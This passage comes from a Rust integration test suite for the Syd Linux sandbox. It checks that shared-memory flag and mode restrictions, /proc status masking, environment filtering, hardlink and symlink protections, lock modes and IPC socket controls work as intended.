*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_file {syd_do} dir user.syd.test || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat failed with ENODATA as expected!"
    exit 0;;
*) exit $r;;
esac
unset r
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

// Checks shmat SHM_X hardening.
#[cfg(not(target_os = "android"))]
fn test_syd_shm_harden_shmat() -> TestResult {
    const SHMAT_ALLOWED_FLAGS: &[libc::c_int] = &[
        libc::SHM_RDONLY,
        libc::SHM_REMAP,                    // Invalid!
        libc::SHM_RDONLY | libc::SHM_REMAP, // Invalid!
    ];
    const SHMAT_DENIED_FLAGS: &[libc::c_int] = &[
        libc::SHM_EXEC,
        libc::SHM_EXEC | libc::SHM_RDONLY,
        libc::SHM_EXEC | libc::SHM_REMAP, // Invalid!
        libc::SHM_EXEC | libc::SHM_RDONLY | libc::SHM_REMAP, // Invalid!
    ];

    for (idx, &flag) in SHMAT_ALLOWED_FLAGS.iter().enumerate() {
        say!("shmat:CHECK-FLAG-ALLOW: 0x{flag:x}");

        let argflg = flag.to_string();
        let status = syd()
            .p("off")
            .m("trace/allow_unsafe_shm:1")
            .do_("shmat", [&argflg])
            .status()
            .expect("execute syd");
        if idx == 0 {
            assert_status_ok!(status);
        } else {
            assert_status_invalid!(status);
        }
    }

    for &flag in SHMAT_DENIED_FLAGS {
        say!("shmat:CHECK-FLAG-DENY: 0x{flag:x}");

        let argflg = flag.to_string();
        let status = syd()
            .p("off")
            .m("trace/allow_unsafe_shm:1")
            .do_("shmat", [&argflg])
            .quiet()
            .status()
            .expect("execute syd");
        assert_status_killed!(status);
    }

    for (idx, &flag) in SHMAT_ALLOWED_FLAGS
        .iter()
        .chain(SHMAT_DENIED_FLAGS)
        .enumerate()
    {
        say!("shmat:CHECK-FLAG-UNSAFE: 0x{flag:x}");

        let argflg = flag.to_string();
        let status = syd()
            .p("off")
            .m("trace/allow_unsafe_shm:1")
            .m("trace/allow_unsafe_perm_shm:1")
            .do_("shmat", [&argflg])
            .quiet()
            .status()
            .expect("execute syd");
        match idx {
            0 => {
                assert_status_ok!(status);
            }
            3 | 4 => {
                assert_status_access_denied!(status);
            }
            _ => {
                assert_status_invalid!(status);
            }
        }
    }

    Ok(())
}

// Checks shmget mode hardening.
#[cfg(not(target_os = "android"))]
fn test_syd_shm_harden_shmget() -> TestResult {
    for mode in &*SHM_ALLOWED_MODES {
        say!("shmget:CHECK-MODE-ALLOW: 0o{mode:03o}");

        let argmod = mode.to_string();
        let status = syd()
            .p("off")
            .m("trace/allow_unsafe_shm:1")
            .do_("shmget", [&argmod])
            .quiet()
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    for mode in &*SHM_DENIED_MODES {
        say!("shmget:CHECK-MODE-DENY: 0o{mode:03o}");

        let argmod = mode.to_string();
        let status = syd()
            .p("off")
            .m("trace/allow_unsafe_shm:1")
            .do_("shmget", [&argmod])
            .quiet()
            .status()
            .expect("execute syd");
        assert_status_killed!(status);
    }

    for mode in SHM_ALLOWED_MODES.iter().chain(&*SHM_DENIED_MODES) {
        say!("shmget:CHECK-MODE-UNSAFE: 0o{mode:03o}");

        let argmod = mode.to_string();
        let status = syd()
            .p("off")
            .m("trace/allow_unsafe_shm:1")
            .m("trace/allow_unsafe_perm_shm:1")
            .do_("shmget", [&argmod])
            .quiet()
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    Ok(())
}

// Checks msgget mode hardening.
#[cfg(not(target_os = "android"))]
fn test_syd_shm_harden_msgget() -> TestResult {
    for mode in &*SHM_ALLOWED_MODES {
        say!("msgget:CHECK-MODE-ALLOW: 0o{mode:03o}");

        let argmod = mode.to_string();
        let status = syd()
            .p("off")
            .m("trace/allow_unsafe_shm:1")
            .do_("msgget", [&argmod])
            .quiet()
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    for mode in &*SHM_DENIED_MODES {
        say!("msgget:CHECK-MODE-DENY: 0o{mode:03o}");

        let argmod = mode.to_string();
        let status = syd()
            .p("off")
            .m("trace/allow_unsafe_shm:1")
            .do_("msgget", [&argmod])
            .quiet()
            .status()
            .expect("execute syd");
        assert_status_killed!(status);
    }

    for mode in SHM_ALLOWED_MODES.iter().chain(&*SHM_DENIED_MODES) {
        say!("msgget:CHECK-MODE-UNSAFE: 0o{mode:03o}");

        let argmod = mode.to_string();
        let status = syd()
            .p("off")
            .m("trace/allow_unsafe_shm:1")
            .m("trace/allow_unsafe_perm_shm:1")
            .do_("msgget", [&argmod])
            .quiet()
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    Ok(())
}

// Checks semget mode hardening.
#[cfg(not(target_os = "android"))]
fn test_syd_shm_harden_semget() -> TestResult {
    for mode in &*SHM_ALLOWED_MODES {
        say!("semget:CHECK-MODE-ALLOW: 0o{mode:03o}");

        let argmod = mode.to_string();
        let status = syd()
            .p("off")
            .m("trace/allow_unsafe_shm:1")
            .do_("semget", [&argmod])
            .quiet()
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    for mode in &*SHM_DENIED_MODES {
        say!("semget:CHECK-MODE-DENY: 0o{mode:03o}");

        let argmod = mode.to_string();
        let status = syd()
            .p("off")
            .m("trace/allow_unsafe_shm:1")
            .do_("semget", [&argmod])
            .quiet()
            .status()
            .expect("execute syd");
        assert_status_killed!(status);
    }

    for mode in SHM_ALLOWED_MODES.iter().chain(&*SHM_DENIED_MODES) {
        say!("semget:CHECK-MODE-UNSAFE: 0o{mode:03o}");

        let argmod = mode.to_string();
        let status = syd()
            .p("off")
            .m("trace/allow_unsafe_shm:1")
            .m("trace/allow_unsafe_perm_shm:1")
            .do_("semget", [&argmod])
            .quiet()
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    Ok(())
}

// Checks mq_open mode hardening.
#[cfg(not(target_os = "android"))]
fn test_syd_shm_harden_mq_open() -> TestResult {
    for mode in &*SHM_ALLOWED_MODES {
        say!("mq_open:CHECK-MODE-ALLOW: 0o{mode:03o}");

        let argmod = mode.to_string();
        let status = syd()
            .p("off")
            .m("rlimit/msgqueue:none")
            .m("trace/allow_unsafe_msgqueue:1")
            .do_("mq_open", [&argmod])
            .quiet()
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    for mode in &*SHM_DENIED_MODES {
        say!("mq_open:CHECK-MODE-DENY: 0o{mode:03o}");

        let argmod = mode.to_string();
        let status = syd()
            .p("off")
            .m("trace/allow_unsafe_msgqueue:1")
            .do_("mq_open", [&argmod])
            .quiet()
            .status()
            .expect("execute syd");
        assert_status_killed!(status);
    }

    for mode in SHM_ALLOWED_MODES.iter().chain(&*SHM_DENIED_MODES) {
        say!("mq_open:CHECK-MODE-UNSAFE: 0o{mode:03o}");

        let argmod = mode.to_string();
        let status = syd()
            .p("off")
            .m("rlimit/msgqueue:none")
            .m("trace/allow_unsafe_msgqueue:1")
            .m("trace/allow_unsafe_perm_msgqueue:1")
            .do_("mq_open", [&argmod])
            .quiet()
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    Ok(())
}

// Checks proc_pid_status(5) filtering.
fn test_syd_proc_pid_status_filter() -> TestResult {
    skip_unless_available!("grep", "head", "sed", "sh");

    // Check if prctl can set mitigations.
    if speculation_get(SpeculationFeature::StoreBypass)
        .map(|cs| cs.status.can_prctl_set())
        .unwrap_or(false)
    {
        env::set_var("SYD_TEST_PRCTL_SSB", "1");
    } else {
        env::remove_var("SYD_TEST_PRCTL_SSB");
    }
    if speculation_get(SpeculationFeature::IndirectBranch)
        .map(|cs| cs.status.can_prctl_set())
        .unwrap_or(false)
    {
        env::set_var("SYD_TEST_PRCTL_SIB", "1");
    } else {
        env::remove_var("SYD_TEST_PRCTL_SIB");
    }

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("lock:exec")
        .argv(["sh", "-cex"])
        .arg(
            r##"
STATUS=/proc/self/status

# Masking ON by default.
svb=$(grep "^Speculation_Store_Bypass:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
[ "$svb" = "vulnerable" ] || { echo "masked: Speculation_Store_Bypass='$svb'"; exit 11; }

sib=$(grep "^SpeculationIndirectBranch:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
[ "$sib" = "always enabled" ] || { echo "masked: SpeculationIndirectBranch='$sib'"; exit 12; }

for f in TracerPid NoNewPrivs Seccomp Seccomp_filters; do
  v=$(grep "^$f:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
  [ "$v" = 0 ] || { echo "masked: $f='$v' (expected 0)"; exit 13; }
done

# Disable mitigation and verify unmasked view.
test -c /dev/syd/trace/allow_unsafe_proc_pid_status:1

if test x"$SYD_TEST_PRCTL_SSB" = x1; then
    svb=$(grep "^Speculation_Store_Bypass:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
    [ "$svb" = "thread force mitigated" ] || { echo "unmasked: Speculation_Store_Bypass='$svb'"; exit 21; }
fi

if test x"$SYD_TEST_PRCTL_SIB" = x1; then
    sib=$(grep "^SpeculationIndirectBranch:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
    [ "$sib" = "conditional force disabled" ] || { echo "unmasked: SpeculationIndirectBranch='$sib'"; exit 22; }
fi

for f in TracerPid NoNewPrivs Seccomp Seccomp_filters; do
  v=$(grep "^$f:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
  case "$v" in (''|*[!0-9]*) echo "unmasked: $f not decimal ('$v')"; exit 23;; esac
done

# Re-enable mitigation and re-check masked view.
test -c /dev/syd/trace/allow_unsafe_proc_pid_status:0

svb=$(grep "^Speculation_Store_Bypass:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
[ "$svb" = "vulnerable" ] || { echo "re-masked: Speculation_Store_Bypass='$svb'"; exit 31; }

sib=$(grep "^SpeculationIndirectBranch:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
[ "$sib" = "always enabled" ] || { echo "re-masked: SpeculationIndirectBranch='$sib'"; exit 32; }

for f in TracerPid NoNewPrivs Seccomp Seccomp_filters; do
  v=$(grep "^$f:" "$STATUS" | head -n1 | sed 's/^[^:]*:[[:space:]]*//')
  [ "$v" = 0 ] || { echo "re-masked: $f='$v' (expected 0)"; exit 33; }
done
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Checks environment filtering for arguments
fn test_syd_environment_filter_arg() -> TestResult {
    skip_unless_available!("sh");

    const ENV: &str = "SAFE";
    env::set_var(ENV, "/var/empty");

    // Step 1: Allow by default
    let output = syd()
        .p("off")
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty", "output1:{output}");

    // Step 2: Override with -evar=val
    let output = syd()
        .p("off")
        .arg(format!("-e{ENV}=/var/empty:/var/empty"))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty:/var/empty", "output2:{output}");

    // Step 3: Unset with -evar
    let output = syd()
        .p("off")
        .arg(format!("-e{ENV}"))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output.is_empty(), "output3:{output}");

    // Step 4: Pass-through with -evar=
    let output = syd()
        .p("off")
        .arg(format!("-e{ENV}="))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty", "output4:{output}");

    env::remove_var(ENV);

    Ok(())
}

// Checks environment filtering for SYD_* variables
fn test_syd_environment_filter_syd() -> TestResult {
    skip_unless_available!("sh", "env", "grep");

    let status = syd()
        .p("off")
        .env("SYD_KEY", "sekrit")
        .env("SYD_LOG", "notice")
        .argv(["sh", "-c", "env | grep SYD_ | grep -v SYD_TEST_"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    Ok(())
}

// Checks environment hardening and -e pass-through.
// Note, AT_SECURE mitigation is another defense against this,
// that is why we disable it with trace/allow_unsafe_exec_libc:1
// during this test.
fn test_syd_environment_harden() -> TestResult {
    skip_unless_available!("sh");

    const ENV: &str = "LD_LIBRARY_PATH";
    env::set_var(ENV, "/var/empty");

    // Step 1: Deny by default
    let output = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_libc:1")
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output.is_empty(), "output1:{output}");

    // Step 2: Override with -evar=val
    let output = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_libc:1")
        .arg(format!("-e{ENV}=/var/empty:/var/empty"))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty:/var/empty", "output2:{output}");

    // Step 3: Unset with -evar
    let output = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_libc:1")
        .arg(format!("-e{ENV}"))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output.is_empty(), "output3:{output}");

    // Step 4: Pass-through with -evar=
    let output = syd()
        .p("off")
        .m("trace/allow_unsafe_exec_libc:1")
        .arg(format!("-e{ENV}="))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty", "output4:{output}");

    // Step 5: Allow with -m trace/allow_unsafe_env:1
    let output = syd()
        .p("off")
        .m("trace/allow_unsafe_env:1")
        .m("trace/allow_unsafe_exec_libc:1")
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty", "output:{output}");

    // Step 6: Toggle -m trace/allow_unsafe_env
    let output = syd()
        .p("off")
        .m("trace/allow_unsafe_env:1")
        .m("trace/allow_unsafe_env:0")
        .m("trace/allow_unsafe_exec_libc:1")
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output.is_empty(), "output1:{output}");

    env::remove_var(ENV);

    Ok(())
}

// Tests whether RUST_BACKTRACE is handled correctly.
fn test_syd_environment_backtrace() -> TestResult {
    skip_unless_available!("jq", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
echo 0 > bt.exp
{syd} -poff -mlock:read jq -r .backtrace /dev/syd > bt.now
cmp bt.exp bt.now

{syd} -q -poff -mlock:read jq -r .backtrace /dev/syd > bt.now
cmp bt.exp bt.now

for val in 0 1 full; do
    env RUST_BACKTRACE=$val {syd} -poff -mlock:read jq -r .backtrace /dev/syd > bt.now
    cmp bt.exp bt.now

    env RUST_BACKTRACE=$val {syd} -q -poff -mlock:read jq -r .backtrace /dev/syd > bt.now
    cmp bt.exp bt.now
done

for val in 0 1 full; do
    echo $val > bt.exp

    env RUST_BACKTRACE=$val {syd} -poff sh -c 'echo $RUST_BACKTRACE' > bt.now
    cmp bt.exp bt.now

    env RUST_BACKTRACE=$val {syd} -q -poff sh -c 'echo $RUST_BACKTRACE' > bt.now
    cmp bt.exp bt.now
done
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests file creation hardening.
fn test_syd_restrict_create() -> TestResult {
    skip_unless_available!("sh");

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .env("SYD_TEST_DO", "creat")
        .p("fs")
        .m("allow/all+/***")
        .m("lock:exec")
        .argv(["sh", "-cex"])
        .arg(format!(
            r##"
touch file

chmod g+w file
{syd_do} file && exit 1 || true
test -c /dev/syd/trace/allow_unsafe_create:1
{syd_do} file
test -c /dev/syd/trace/allow_unsafe_create:0
chmod g-w file

chmod o+w file
{syd_do} file && exit 2 || true
test -c /dev/syd/trace/allow_unsafe_create:1
{syd_do} file
test -c /dev/syd/trace/allow_unsafe_create:0
chmod o-w file
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests hardlink hardening.
fn test_syd_restrict_hardlinks() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("lock:exec")
        .argv(["sh", "-cex"])
        .arg(
            r##"
mkdir -m700 tmp
echo hello world > tmp/file
ln tmp/file tmp/link

cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
rm tmp/copy tmp/link

chmod -r tmp/file
ln tmp/file tmp/link && exit 1 || true

test -c /dev/syd/trace/allow_unsafe_hardlinks:1
ln tmp/file tmp/link
test -c /dev/syd/trace/allow_unsafe_hardlinks:0
rm tmp/link
chmod +r tmp/file

chmod -w tmp/file
ln tmp/file tmp/link && exit 2 || true

test -c /dev/syd/trace/allow_unsafe_hardlinks:1
ln tmp/file tmp/link
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
test -c /dev/syd/trace/allow_unsafe_hardlinks:0
rm tmp/copy tmp/link
chmod +w tmp/file

chmod +s tmp/file
ln tmp/file tmp/link && exit 3 || true

test -c /dev/syd/trace/allow_unsafe_hardlinks:1
ln tmp/file tmp/link
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
test -c /dev/syd/trace/allow_unsafe_hardlinks:0
rm tmp/copy tmp/link
chmod -s tmp/file

chmod g+sx tmp/file
ln tmp/file tmp/link && exit 4 || true

test -c /dev/syd/trace/allow_unsafe_hardlinks:1
ln tmp/file tmp/link
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
test -c /dev/syd/trace/allow_unsafe_hardlinks:0
rm tmp/copy tmp/link
chmod g-sx tmp/file

mkfifo tmp/fifo
ln tmp/fifo tmp/link && exit 5 || true

test -c /dev/syd/trace/allow_unsafe_hardlinks:1
ln tmp/fifo tmp/link
test -c /dev/syd/trace/allow_unsafe_hardlinks:0
rm tmp/fifo tmp/link
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests symlink hardening.
fn test_syd_restrict_symlinks() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("lock:exec")
        .argv(["sh", "-cex"])
        .arg(
            r##"
mkdir -m700 tmp
echo hello world > tmp/file
ln -s file tmp/link

cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
rm tmp/copy

chmod +t tmp
cat tmp/link > tmp/copy && exit 1 || true 
cmp tmp/file tmp/copy && exit 2 || true 

test -c /dev/syd/trace/allow_unsafe_symlinks:1
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
rm tmp/copy
test -c /dev/syd/trace/allow_unsafe_symlinks:0
chmod -t tmp

chmod g+w tmp
cat tmp/link > tmp/copy exit 3 || true && 
cmp tmp/file tmp/copy && exit 4 || true 

test -c /dev/syd/trace/allow_unsafe_symlinks:1
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
rm tmp/copy
test -c /dev/syd/trace/allow_unsafe_symlinks:0
chmod g-w tmp

chmod o+w tmp
cat tmp/link > tmp/copy && exit 5 || true
cmp tmp/file tmp/copy && exit 6 || true

test -c /dev/syd/trace/allow_unsafe_symlinks:1
cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
rm tmp/copy
test -c /dev/syd/trace/allow_unsafe_symlinks:0
chmod o-w tmp

cat tmp/link > tmp/copy
cmp tmp/file tmp/copy
rm tmp/copy
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if `lock:on` command disables access to `/dev/syd`.
fn test_syd_lock() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["sh", "-cx", "test -c /dev/syd"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    eprintln!("+ sh -c \"test -c /dev/syd\"");
    let status = syd()
        .p("off")
        .m("lock:on")
        .argv(["sh", "-cex", "test -c /dev/syd"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `lock:exec` locks the sandbox for all except the exec child.
fn test_syd_lock_exec() -> TestResult {
    // Note, we use bash rather than sh,
    // because not all sh (e.g. busybox)
    // spawn a subsell on (cmd).
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["bash", "-cex", "test -c /dev/syd"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["bash", "-cex", "( test -c /dev/syd )"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `lock:ipc` works with remote config over IPC socket.
fn test_syd_lock_ipc_unix() -> TestResult {
    skip_unless_available!("cmp", "jq", "socat");

    let syd = &SYD.to_string();
    let syd_pds = &SYD_PDS.to_string();

    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
{syd_pds} {syd} -poff -mipc:syd.sock sleep 1h &
while ! test -e syd.sock;do sleep 1; done

echo PONG > ping.exp
echo ping | socat unix-client:syd.sock stdio | jq -r .msg > ping.now
cmp ping.exp ping.now

echo 3.1 > ver.exp.1
echo version | socat unix-client:syd.sock stdio | jq -r .version > ver.now.1
cmp ver.exp.1 ver.now.1

echo 3 > ver.exp.2
echo version | socat unix-client:syd.sock stdio | jq -r .major > ver.now.2
cmp ver.exp.2 ver.now.2

echo 1 > ver.exp.3
echo version | socat unix-client:syd.sock stdio | jq -r .minor > ver.now.3
cmp ver.exp.3 ver.now.3

echo ipc > lock.exp.1
echo stat | socat unix-client:syd.sock stdio | jq -r .lock > lock.now.1
cmp lock.exp.1 lock.now.1

echo exec > lock.exp.2
echo lock:exec | socat unix-client:syd.sock stdio
echo stat | socat unix-client:syd.sock stdio | jq -r .lock > lock.now.2
cmp lock.exp.2 lock.now.2

echo 2 > err.exp.1 # ENOENT
echo 'sandbox/all?' | socat unix-client:syd.sock stdio | jq -r .err > err.now.1
cmp err.exp.1 err.now.1

echo 0 > err.exp.2
echo sandbox/all:on | socat unix-client:syd.sock stdio | jq -r .err > err.now.2
cmp err.exp.2 err.now.2

echo lock:on | socat unix-client:syd.sock stdio
echo sandbox/all:on | socat unix-client:syd.sock stdio && exit 42 || exit 0
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if `lock:ipc` works with remote config over IPC abstract socket.
fn test_syd_lock_ipc_uabs() -> TestResult {
    skip_unless_available!("cmp", "jq", "socat");

    let syd = &SYD.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let isocket = format!("syd-{}.sock", env::var("SYD_TEST_NAME").unwrap());

    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
{syd_pds} {syd} -poff -mipc:@{isocket} sleep 1h &
while ! echo pink | socat abstract-client:{isocket} stdio; do sleep 1; done

echo PONG > ping.exp
echo ping | socat abstract-client:{isocket} stdio | jq -r .msg > ping.now
cmp ping.exp ping.now

echo 3.1 > ver.exp.1
echo version | socat abstract-client:{isocket} stdio | jq -r .version > ver.now.1
cmp ver.exp.1 ver.now.1

echo 3 > ver.exp.2
echo version | socat abstract-client:{isocket} stdio | jq -r .major > ver.now.2
cmp ver.exp.2 ver.now.2

echo 1 > ver.exp.3
echo version | socat abstract-client:{isocket} stdio | jq -r .minor > ver.now.3
cmp ver.exp.3 ver.now.3

echo ipc > lock.exp.1
echo stat | socat abstract-client:{isocket} stdio | jq -r .lock > lock.now.1
cmp lock.exp.1 lock.now.1

echo exec > lock.exp.2
echo lock:exec | socat abstract-client:{isocket} stdio
echo stat | socat abstract-client:{isocket} stdio | jq -r .lock > lock.now.2
cmp lock.exp.2 lock.now.2

echo 2 > err.exp.1 # ENOENT
echo 'sandbox/all?' | socat abstract-client:{isocket} stdio | jq -r .err > err.now.1
cmp err.exp.1 err.now.1

echo 0 > err.exp.2
echo sandbox/all:on | socat abstract-client:{isocket} stdio | jq -r .err > err.now.2
cmp err.exp.2 err.now.2

echo lock:on | socat abstract-client:{isocket} stdio
echo sandbox/all:on | socat abstract-client:{isocket} stdio && exit 42 || exit 0
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_lock_ipc_auth() -> TestResult {
    skip_if_root!();
    skip_unless_available!("jq", "socat");

    let syd = &SYD.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let isocket = format!("syd-{}.sock", env::var("SYD_TEST_NAME").unwrap());

    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
{syd_pds} {syd} -poff -mipc:@{isocket} -mipc/uid:root -mipc/gid:65536 sleep 1h &
while ! echo pink | socat abstract-client:{isocket} stdio; do sleep 1; done

echo AUTH > msg.exp
echo ping | socat abstract-client:{isocket} stdio | jq -r .msg > msg.now
cmp msg.exp msg.now

echo 13 > err.exp
echo stat | socat abstract-client:{isocket} stdio | jq -r .err > err.now
cmp err.exp err.now
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_lock_ipc_rate() -> TestResult {
    skip_unless_available!("dd", "jq", "socat");

    let syd = &SYD.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_pds = &SYD_PDS.to_string();
    let isocket = format!("syd-{}.sock", env::var("SYD_TEST_NAME").unwrap());

    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
{syd_pds} {syd} -poff -mipc:@{isocket} sleep 1h &
while ! echo pink | socat abstract-client:{isocket} stdio; do sleep 1; done

echo RATE > msg.exp
dd if=/dev/zero bs=2048 count=1 | {syd_hex} | socat abstract-client:{isocket} stdio | jq -r .msg > msg.now
cmp msg.exp msg.now

echo 7 > err.exp
dd if=/dev/zero bs=2048 count=1 | {syd_hex} | socat abstract-client:{isocket} stdio | jq -r .err > err.now
cmp err.exp err.now
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if `-mlock:on` prevents subsequent -m CLI args.
fn test_syd_lock_prevents_further_cli_args() -> TestResult {
    skip_unless_available!("true");

    let status = syd()
        .p("off")
        .m("lock:on")
        .m("lock:off")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:0")
        .m("lock:on")
        .m("lock:off")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .p("off")
        .m("lock:on")
        .m("trace/allow_unsafe_ptrace:1")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .log("warn")
        .p("off")
        .m("lock:on")
        .p("paludis")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .log("warn")
        .p("off")
        .m("lock:on")
        .P("/dev/null")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `-mlock:on` prevents subsequent configuration file edits.
fn test_syd_lock_prevents_further_cfg_items() -> TestResult {
    skip_unless_available!("true");

    let conf = "lock:on\nlock:off\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .log("warn")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `-mlock:on` prevents subsequent file includes.
fn test_syd_lock_prevents_further_inc_items() -> TestResult {
    skip_unless_available!("true");

    let conf = "sandbox/read:on\n";
    let mut file = File::create("conf-1.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let conf = "lock:on\ninclude conf-1.syd-3\n";
    let mut file = File::create("conf-2.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .log("warn")
        .p("off")
        .P("./conf-2.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if syd-dns can resolve DNS with AF_UNSPEC under syd.
fn test_syd_dns_resolve_host_unspec() -> TestResult {
    eprintln!("+ syd-dns chesswob.org");
    let status = Command::new(&*SYD_DNS)
        .arg("chesswob.org")
        .status()
        .expect("execute syd-dns");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .argv([&*SYD_DNS])
        .arg("chesswob.org")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd-dns can resolve DNS with AF_INET under syd.
fn test_syd_dns_resolve_host_ipv4() -> TestResult {
    eprintln!("+ syd-dns -4 chesswob.org");
    let status = Command::new(&*SYD_DNS)
        .arg("-4")
        .arg("chesswob.org")
        .status()
        .expect("execute syd-dns");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .argv([&*SYD_DNS])
        .arg("-4")
        .arg("chesswob.org")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd-dns can resolve DNS with AF_INET6 under syd.
